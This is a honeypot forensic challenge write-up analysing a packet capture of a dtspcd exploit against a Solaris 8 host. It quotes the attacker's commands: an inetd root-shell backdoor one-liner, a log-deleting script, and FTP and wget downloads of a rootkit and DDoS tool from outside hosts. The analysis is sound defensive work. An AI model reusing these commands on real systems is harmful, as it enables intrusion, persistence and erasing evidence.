Submitted by Beat Bolli <bbolli@ymail.ch>
This is the first challenge that I tried to solve. I used a
decidedly low-level approach. The only tools I tried to use were tcpdump, less, whois, dig and Google. The command line
I used initially was tcpdump -nX
-r day1.log | less. This allowed me to browse the dump
comfortably. The options to tcpdump mean:
I will present the answers in the order that I found them. The whole
challenge took around 6 hours, including writing this up.
The first few screenfuls of output only contained DNS queries and
answers, so I decided to suppress this protocol. The command line grew
to tcpdump -nX -r day1.log not
udp port 53 | less. Browsing through the tcpdump output, I saw
different attempts to connect to TCP ports 80 (http), 8080 (webcache),
1433 (ms-sql), 3128 (squid) and the occasional UDP packet to port 137
(nbt), but all of these were met with a RST packet, so they didn't
represent any danger.
Thinks got a lot more interesting when at 17:36:25.353459, a
commection to TCP port 6112 was established from 61.219.90.180. At
17:36:25.793430, a second connection is established from source port
56710 to 6112. In an answer packet at 17:36:26.053412, the honeypot
identifies itself as host zoberius
running SunOS 5.8 on the sun4u architecture.
The operating system is SunOS 5.8
a.k.a. Solaris 8. This information was given by the honeypot in a reply
packet from TCP port 6112.
The connection was closed and a new one established, now from source
port 56711 to destination 6112. This means that the attacker (well, we
don't know yet if this is an attacker! ;-) used an OS that doesn't
randomize its source port numbers. Maybe this will be significant later
on.
At 17:36:26.503382, I saw a packet that had all the signs of a buffer overflow attempt. Lots of repeated short byte sequences with the values 80, 1C, 40, 11. I wouldn't be surprised if this was a SPARC NOP instruction. But the kicker was the shellscript at the end of the packet (wrapped at command boundaries for legibility):
/bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;
/usr/sbin/inetd -s /tmp/x;
sleep 10;
/bin/rm -f /tmp/x
The attacker (now I knew for sure!) started a listening inetd that will run an interactive root shell when connecting to TCP port 1524 (ingreslock). To complete the buffer overflow, two more packets containing the letter A are sent. Maybe as a side effect of the buffer overflow, the honeypot closes the 6112 connection at 17:36:37.392645.
And the attacker loses no time: at 17:36:37.642628, the root shell
is run. The first commands sent are
uname -a;
ls -l /core /var/dt/tmp/DTSPCD.log;
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;
export PATH;
echo "BD.PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
The attacker wanted to know the exact machine and OS type, listed
two files, reset the path and looked to see if his root shell backdoor
was still running. The answer:
SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
BD PID(s): 1773
He then tried to start wget,
but the command wasn't installed. A subsequent run of the command w showed that no users were
logged in.
The attacker exploited a hole in
Sun's dtspc service, part of the Common Desktop
Environment (CDE). This is a well-known hole; the original advisary
was published in November 2001.
After starting a new shell and clearing the HISTFILE and DISPLAY environment variables, tha attacker created and changed to the directory /usr/share/man/man1/.old. Then he ftped to 62.211.66.16, logged on as user bobzz, password joka, but first trying password ftp: ioctl(TIOCGETP), and proceeded to download a wget binary (a command-line HTTP and FTP client) and the script dlp. Its contents are:
unset HISTFILE
echo Delete LogZ by bobbino
echo -------
echo Deleting /var/log...
rm /var/log/secure ; touch /var/log/secure
rm /var/log/secure.1 ; touch /var/log/secure.1
rm /var/log/secure.2 ; touch /var/log/secure.2
rm /var/log/secure.3 ; touch /var/log/secure.3
rm /var/log/secure.4 ; touch /var/log/secure.4
rm /var/log/boot.log ; touch /var/log/boot.log
rm /var/log/boot.log.1 ; touch /var/log/boot.log.1
rm /var/log/boot.log.2 ; touch /var/log/boot.log.2
rm /var/log/boot.log.3 ; touch /var/log/boot.log.3
rm /var/log/boot.log.4 ; touch /var/log/boot.log.4
rm /var/log/cron ; touch /var/log/cron
rm /var/log/cron.1 ; touch /var/log/cron.1
rm /var/log/cron.2 ; touch /var/log/cron.2
rm /var/log/cron.3 ; touch /var/log/cron.3
rm /var/log/cron.4 ; touch /var/log/cron.4
rm /var/log/lastlog ; touch /var/log/lastlog
rm /var/log/xferlog ; touch /var/log/xferlog
rm /var/log/xferlog.1 ; touch /var/log/xferlog.1
rm /var/log/xferlog.2 ; touch /var/log/xferlog.2
rm /var/log/xferlog.3 ; touch /var/log/xferlog.3
rm /var/log/xferlog.4 ; touch /var/log/xferlog.4
rm /var/log/wtmp ; touch /var/log/wtmp
rm /var/log/wtmp.1 ; touch /var/log/wtmp.1
rm /var/log/spooler ; touch /var/log/spooler
rm /var/log/spooler.1 ; touch /var/log/spooler.1
rm /var/log/spooler.2 ; touch /var/log/spooler.2
rm /var/log/spooler.3 ; touch /var/log/spooler.3
rm /var/log/spooler.4 ; touch /var/log/spooler.4
echo ---
echo LogZ Cancellati
echo Delete LogZ by bobbino
cat /etc/inetd.conf | grep -v dtspcd > miao
mv miao inetd.conf
ps -ef | grep inetd
pkill inetd
echo ---
echo Patch.....
echo Attivata by RyO
The name of the author, bobbino,
and the message, LogZ Cancellati,
leave the impression that the script's author is Italian. "Cancellati"
means "deleted" in English. The script deleted and recreated log files
that could point to the attacker. Further, the script tried to disable
the dtspcd service. It
would fail unless executed in the /etc directory.
Next, the attacker retrieves the file solbnc. It was downloaded
in ASCII format, even though it was an ELF executable. The file contents
are suspicious: strings like must_kill_all,commence_havoc, commence_ipstorm, fw00ding (flooding?), ficken ("f*ck" in German), commence_smurf, commence_dnsshit can be found.
This looked like a distributed denial of service (DDoS) tool to me.
Maybe the usage string will be important later: Usage %s <dst> <src>
<size> <number>.
After I had scrolled through endless relocation tables, the file iupv6sun was retrieved, but it
was not present on the FTP server. Then the attacker got the file name
right and retrieved the file ipv6sun:
#!/bin/sh
unset HISTFILE
clear
echo "Inserisci il tuo ipv4"; read ipv4tuo; echo "..Okz"
echo "Inserisci l'ipv4 del TunnelBroker"; read ipv4server; echo "..Okz"
echo "tsrc ipv4tuo tdst ipv4server up" > /etc/hostname6.ip.tun0
echo ""
echo "Inserisci il tuo IPV6"; read ipv6tuo; echo "..Okz"
echo "Inserisci l'IPV6 dell'IRCServer"; read ipv6server; echo "..Okz"
echo "addif ipv6tuo ipv6server up" >> /etc/hostname6.ip.tun0
echo ""
echo "TermiNateD =)"
echo "maphia-Groups r0x again"
This file seems to lack a few $ signs for variable substitutions,
but what do I know? Here we also find a few more pointers to the
language of the attacker: Italian. The purpose of the script seems
related to some IPv6 over IPv4 tunnel broker and a IPv6-capable IRC
server.
The attacker logs off the FTP server and checks if his files are indeed on the honeypot:
# ls
dlp
ipv6sun
solbnc
wget
# chmod +x solbnc wget dlp
# ./wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
# wget http://62.211.66.53/bobzz/sol.tar.gz
This is a 1.8 MB tar file that finally got me to use ethereal to
extract the information from the log. I extracted the HTTP conversation
from the log file, cut away the HTTP headers and was left with the tar
file. Interestingly, the HTTP server decompressed the file before
sending it. Also, transfer speed for all downloads was quite slow, never
exceeding 4.5 kBytes per second.
The file sol/setup
inside the archive identifies the file as the X-org SunOS Rootkit V2.5D by
Judge-D/Danny-Boy. It contains trojaned versions of the commands netstat, ls, lsof, find, strings, du, top, passwd, ping and su, plus the psyBNC IRC relay. The purpose of
these files is the concealment of the rootkit's existence. The trojaned ls woudn't list the rootkit
files, or netstat wouldn't
show the suspicious connections, for example. Of course, our attacker
had a problem extracting the archive:
# rrrrrretar -xf sol.tar.gz
rrrrrretar: not found
# cd sol
sol: does not exist
# ./setup
./setup: not found
# cd sol
sol: does not exist
# tar -xf sol.tar.gz
# cd sol
# ./setup
The rootkit was installed with password mixer, an SSH server on port
5001 and psyBNC on port 7000. It then proceeded to download some SunOS
patches from sunsolve.sun.com,
namely 111085-02.zip (SUNWcsu), 108949-07.zip (SUNWdtbas, SUNWdtbax)
and 111606-02.zip (SUNWftpu). The attacker then starts the psyBNC tool,
deletes the logs (again, as this was already done by the setup script) and exits the
shell. He then goes on IRC to chat (brag about this crack?) with his
friends.
A Google search for "ICMP skillz" points to the Stacheldraht DDoS tool. From www.iss.net:The ICMP packets act as a "heartbeat" between agent and master server, and to determine source IP spoofing capabilities of the master server.
The tools must be able to decode not only the usual protocols, but
also the more exotic ones (IPv6 still isn't as wide spread as its
supporters would like it to be...). Not only this, but the tools also
have to be able to handle arbitrary encapsulation correctly.
snort, starting with
release 2.0; ethereal can
decode "stand-alone" IPv6, I couldn't find out if encapsulation in IPv4
is supported.